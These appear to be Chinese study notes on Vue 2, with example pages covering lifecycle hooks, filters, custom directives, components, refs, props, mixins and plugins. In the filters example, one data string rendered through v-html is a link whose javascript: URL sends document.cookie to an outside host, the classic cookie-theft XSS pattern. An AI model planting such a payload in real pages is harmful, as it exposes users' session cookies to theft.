目录
一:生命周期
1.1 生命周期实例
1.2 生命周期函数(引入)
二:过滤器
三:自定义指令
四:组件
4.1 非单文件组件
4.2 组件的嵌套
4.3 单文件组件
模板
4.3.1 架构
4.3.2 不同版本的vue.JS
4.3.3 vue脚手架默认配置的修改文件
4.4 组件实例对象(ref)
4.5 组件声明接受对象(props)
4.6 组件混合minin
4.6.1 全局混合
4.6.2 局部混合
4.7 插件(plugins)
4.8 lang 和 scoped
一:生命周期
1.1 生命周期实例
解析js代码
变成虚拟DOM
变成真实DOM
放到页面
在初始的真实DOM放到页面的时候,调用一个函数,只调用一次
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>生命周期</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1 v-bind:style="{opacity:opacity}">生命周期</h1>
    </div>
    <script>
        const vm = new Vue({
            el:"#root",
            data: {
                opacity:1
            },
            mounted:function(){
                setInterval(() => {
                    vm.opacity -= 0.01
                    if(vm.opacity <= 0){
                        vm.opacity = 1
                    }
                }, 16);
             }
        })
        
    </script>
</body>
</html>1.2 生命周期函数(引入)
特殊的时间点,vm帮忙调用的函数

二:过滤器
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <script src="../js/vue.min.js"></script>
    <script src="../js/dayjs.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <h2>{{fmttime}}</h2>
        <h2>{{getTime()}}</h2>
        <h2>{{time | timeFormater}}</h2>
        <h2>{{time | timeFormater('YYYY-MM-DD') | myslice}}</h2>
        <h2 v-html="str2"></h2>
    </div>
    <div id="root2">
        {{msg | myslice}}
    </div>
    <script type="text/javascript">
        Vue.filter('myslice', function (value) {
            return value.slice(0,4);
        });
        new Vue({
            el: "#root",
            data: {
                time:1679883403329,
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟来</a>'
             },
            computed:{
                fmttime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH-mm-ss")
                }
             },
            methods: {
                getTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH-mm-ss")
                }
             },
            filters:{
                timeFormater:function(value,str='YYYY-MM-DD HH-mm-ss') { 
                    return dayjs(value).format(str)
                },
                
            }
        }),
        new Vue({
            el: '#root2',
            data: {
                msg:"helloworld"
             },
            }
        )
    </script>
</body>
</html>三:自定义指令
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
    <script src="../js/vue.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>当前的n:<span v-text="n"></span></h2>
        <h2>目前的n:<span v-big="n"></span></h2>
        <button v-on:click="n++">点我n++</button>
        <input type="text" v-fbind:value="n">
    </div>
    <hr>
    <div id="root2">
        <h2>当前的m:<span v-text="m"></span></h2>
        <input type="text" v-fbind:value="m">
    </div>
    <script>
        Vue.directive('fbind', {
                
                bind:function(element, binding) { 
                    element.value = binding.value
                },
                inserted: function(element, binding) {
                    element.focus()
                 },
                 update: function(element, binding) {
                    element.focus()
                  }
        }),
        new Vue({
            el:'#root',
            data: {
                n:10,
             },
            directives: {
                big:function(element,binding){
                    element.innerText = binding.value * 10
                },
                // fbind:function(element, binding) {
                //     element.value = binding.value
                //  }
            }
        })
        new Vue({
            el:'#root2',
            data: {
                m:11
             }
        })
    </script>
</body>
</html>四:组件
子组件放在父组件的上面

4.1 非单文件组件
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../js/vue.js"></script>
    <title>基本组件</title>
</head>
<body>
    <div id="root">
        <hello></hello><br>
        <school></school>
        <hr>
        <student></student>
    </div>
    <div id="root2">
        <hello></hello><br>
    </div>
    <script>
        const hello = Vue.extend({
            template: `
                <div>
                    <h1>hello{{name}}</h1>
                </div>
            `,
            data: function(){
                return {
                    name: 'Tom'
                 }
             }
         })
        Vue.component('hello', hello)
        const school = Vue.extend({
            template: `
                <div>
                    <h1>学校:{{schoolName}}</h1>
                    <h1>地址:{{address}}</h1>
                    <button v-on:click="c()">点我提示学校名</button>
                </div>
            `,
            data:function() {
                return {
                    schoolName:'中北大学',
                    address:'太原',
                 }    
            },
            methods: {
                c:function() {
                    alert(this.schoolName)
                 }
             }
            
         })
        const student = Vue.extend({
            template: `
                <div>
                    <h1>姓名:{{studentName}}</h1>
                    <h1>年龄:{{age}}</h1>
                    
                </div>
            `,
            data: function() {
                return {
                    studentName:'任彪煜',
                    age:18
                 }
             }
            
         })
        new Vue({
            el:'#root',
            //局部注册组件
            components: {
                school:school,
                student:student
             }
        })
        new Vue({
            el:"#root2"
         })
        
    </script>
</body>
</html>4.2 组件的嵌套

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>组件嵌套</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <app></app>
    </div>
    <script>
        const student = Vue.extend({
            template: 
            `<div>
                    <h1>姓名:{{name}}</h1>
                    <h1>年龄:{{age}}</h1>
            </div>`,
            data:function(){
                return {
                    name:'任彪煜',
                    age:18
                 }  
             }
         })
        const school = Vue.extend({
            template: 
            `<div>
                    <h1>学校:{{schoolName}}</h1>
                    <h1>地址:{{address}}</h1>
                    <student></student>
            </div>`,
            data:function(){
                return {
                    schoolName:'中北大学',
                    address:'太原'
                }
            },
            components:{
                student:student
            }
         })
        const hello = Vue.extend({
            template:`<div>
                <h1>{{mes}}</h1>    
            </div>`,
            data: function() {
                return {
                    mes:'hello'
                }
             }
          })
        const app = Vue.extend({
            template:`
                <div>
                    <hello></hello>
                    <school></school>    
                </div> 
            `,
            components: {
                school:school,
                hello: hello
             }
         })
        
        new Vue({
            el:'#root',
            components: {
                app:app
             }
        })    
    </script>
</body>
</html>4.3 单文件组件
搭建node.js
安装vue脚手架
创建目录rby
使用管理员cmd进入rby目录
vue create rby-vue
创建完成以后用自己的组件、App.vue、index.html、main.js去替换脚手架自己创建的文件
模板
MySchool.vue
<template>
    <div class="demo">
        <h1>校名{{SchoolName}}</h1>
        <h1>地址{{address}}</h1>
    </div>
</template>
<script>
    export default {
        name:'MySchool',
        data() {
            return {
                SchoolName:'中北大学',
                address:'太原'
            }
        },
    }
</script>
<style>
    .demo{
        background-color: aqua;
    }
</style>MyStudent.vue
<template>
    <div class="demo">
        <h1>学生姓名{{StudentName}}</h1>
        <h1>年龄{{age}}</h1>
    </div>
</template>
<script>
    export default {
        name:'MyStudent',
        data() {
            return {
                StudentName:'张三',
                age:18
            }
        },
    }
</script>
<style>
    .demo{
        background-color: aqua;
    }
</style>App.vue
<template>
    <div>
        <MySchool></MySchool>
        <MyStudent></MyStudent>
    </div>
</template>
<script>
    import MySchool from './components/MySchool.vue'
    import MyStudent from './components/MyStudent.vue'
    export default {
        name:'App',
        components:{
            MySchool:MySchool,
            MyStudent:MyStudent
        }
    }
</script>
main.js
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
  render: h => h(App),
}).$mount('#app')
4.3.1 架构

4.3.2 不同版本的vue.JS

4.3.3 vue脚手架默认配置的修改文件

pages修改默认启动路径
lintOnSave:false关闭语法检查
4.4 组件实例对象(ref)
组件间的通信

<template>
    <div>
        <h1 v-text="msg" ref="h1"></h1>
        <MySchool ref="ms"></MySchool>
        <button v-on:click="c()">点我</button>
    </div>
</template>
<script>
    import MySchool from './components/MySchool.vue'
    export default {
        name: 'App',
        data() {
            return {
                msg:'欢迎学习Vue!'
            }
        },
        components:{
            MySchool:MySchool
        },
        methods: {
            c:function(){
                console.log(this.$refs.ms)
            }
        },
}
</script>4.5 组件声明接受对象(props)
接收到的props不允许修改,props传过来的数据要修改的话,可以在data中赋值一份
4.6 组件混合minin

4.6.1 全局混合
4.6.2 局部混合
mixin.js
export const minin = {
    methods: {
        showName:function(){
            alert(this.name)
        }
    },
    mounted() {
        console.log('haha')
    },
}
export const haha={
    data() {
        return {
            x : 100,
            y : 200
        }
    },
}MyStudent.vue
<script>
    import {minin, haha} from '../minin.js'
    export default {
    name: 'MyStudent',
    data() {
        return {
            name:'任彪煜',
            age:18
            
        }
    },
    mixins:[minin, haha]
}
</script>4.7 插件(plugins)
先调用插件后创建vm
export default {
    install(){
        console.log("@@@install");
    }
} 给Vue的原型对象上添加属性,vm,vc都可以用
 给Vue的原型对象上添加属性,vm,vc都可以用

export default {
    install(Vue){
        Vue.filter('myslice', function (value) {
            return value.slice(0,4);
        }),
        Vue.directive('fbind', {
                
            bind:function(element, binding) { 
                element.value = binding.value
            },
            inserted: function(element, binding) {
                element.focus(binding)
             },
             update: function(element, binding) {
                element.focus(binding)
              }
        })
    }
}























